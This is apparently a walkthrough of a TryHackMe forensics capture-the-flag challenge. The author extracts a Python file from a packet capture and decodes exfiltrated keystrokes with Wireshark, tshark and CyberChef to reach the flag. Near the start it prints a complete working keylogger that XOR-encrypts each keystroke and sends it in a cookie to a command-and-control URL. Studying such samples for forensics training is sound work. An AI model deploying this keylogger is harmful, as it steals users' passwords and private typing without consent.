TryHackMe | Packed Light | Hacker Holidays 2026 | Forensics

Download and open the pcap file.

In Wireshark navigate to File > Export Objects and Select HTTP.

Have a look at the updates.py file. It has some useful information:

import requests
import base64
from pynput import keyboard

C2_URL = "http://byte-lotus-hotel.thm:8080/"

def getkey():
    p1 = "H0t3lSt@ff0Nly"
    p2 = "K3epS3cr3t!"
    return p1 + p2

def xor(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

def sendltr(character):
    raw_bytes = character.encode('utf-8')
    encrypted = xor(raw_bytes, getkey().encode('utf-8'))
    
    b64_string = base64.b64encode(encrypted).decode('utf-8')
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
        "Cookie": f"hotel_sess_state={b64_string}"
    }    
    try:
        requests.get(C2_URL, headers=headers, timeout=0.5)
    except:
        pass

def on_press(key):
    try:
        sendltr(key.char)
    except AttributeError:
        if key == keyboard.Key.space:
            sendltr(" ")
        elif key == keyboard.Key.enter:
            sendltr("\n")

print("[*] Byte Lotus Sync Service started...")
with keyboard.Listener(on_press=on_press) as listener:
    listener.join()

There’s a key in the python script:

p1 = "H0t3lSt@ff0Nly"
    p2 = "K3epS3cr3t!"
    return p1 + p2

The key must be H0t3lSt@ff0NlyK3epS3cr3t!

And from the code, we know that there’s a cookie that sends this information in base64.

Navigate back to Wireshark and find port 8080:

Right-Click Follow > TCP Stream

Enter the filter: tcp.port==8080

Right- Click on any line in the stream to Follow TCP Stream.

Notice the cook value: Cookie: hotel_sess_state=Fw==

Navigate to CyberChef to enter the information:

Get MistressOfTheDarkweb’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Enter BQ== as the input. Select FROM Base64 And XOR as the recipe.

Enter H as the UTF8 Key, since the key from updates.py starts with “H.”

We’re not going to run it just yet.

Navigate back to Wireshark, and enter filter tcp.port==8080 && http.request

Not exactly what we’re looking for, so time for Tshark, which allows us to work with packet captures using the command line.

Open a terminal.

Enter ls to make sure you downloaded traffic.pcapng.

Next, enter the following command:

tshark -r traffic.pcapng \
    -Y 'tcp.port == 8080 && http.request && http.cookie' \
    -T fields \
    -e http.cookie

The output gives further hints that we’re dealing with Base64:

hotel_sess_state=HA==
hotel_sess_state=AA==
hotel_sess_state=BQ==
hotel_sess_state=Mw==
hotel_sess_state=Hg==
hotel_sess_state=ew==
hotel_sess_state=Og==
hotel_sess_state=fA==
hotel_sess_state=Fw==
hotel_sess_state=eQ==
hotel_sess_state=Ow==
hotel_sess_state=Fw==
hotel_sess_state=Pw==
hotel_sess_state=fA==
hotel_sess_state=PA==
hotel_sess_state=Kw==
hotel_sess_state=IA==
hotel_sess_state=eQ==
hotel_sess_state=Jg==
hotel_sess_state=Lw==
hotel_sess_state=Fw==
hotel_sess_state=eA==
hotel_sess_state=Pg==
hotel_sess_state=LQ==
hotel_sess_state=Gg==
hotel_sess_state=Fw==
hotel_sess_state=MQ==
hotel_sess_state=eA==
hotel_sess_state=PQ==
hotel_sess_state=NQ==

Enter the following command to work with the data without manually deleting “hotel_sess_state”:

tshark -r traffic.pcapng \
    -Y 'tcp.port == 8080 && http.request && http.cookie' \
    -T fields \
    -e http.cookie |
  sed 's/^hotel_sess_state=//'

Output:

HA==
AA==
BQ==
Mw==
Hg==
ew==
Og==
fA==
Fw==
eQ==
Ow==
Fw==
Pw==
fA==
PA==
Kw==
IA==
eQ==
Jg==
Lw==
Fw==
eA==
Pg==
LQ==
Gg==
Fw==
MQ==
eA==
PQ==
NQ==

Enter the output into CyberChef with the recipes Frombase64 and XOR with UTF key H to get the flag:

You can also solve this directly on the command line with Tshark and Python:

tshark -r traffic.pcapng \
    -Y 'tcp.port == 8080 && http.request && http.cookie' \
    -T fields \
    -e http.cookie | \
sed 's/^hotel_sess_state=//' | \
python3 -c 'import sys, base64; print("".join(chr(base64.b64decode(line)[0] ^ ord("H")) for line in sys.stdin if line.strip()))'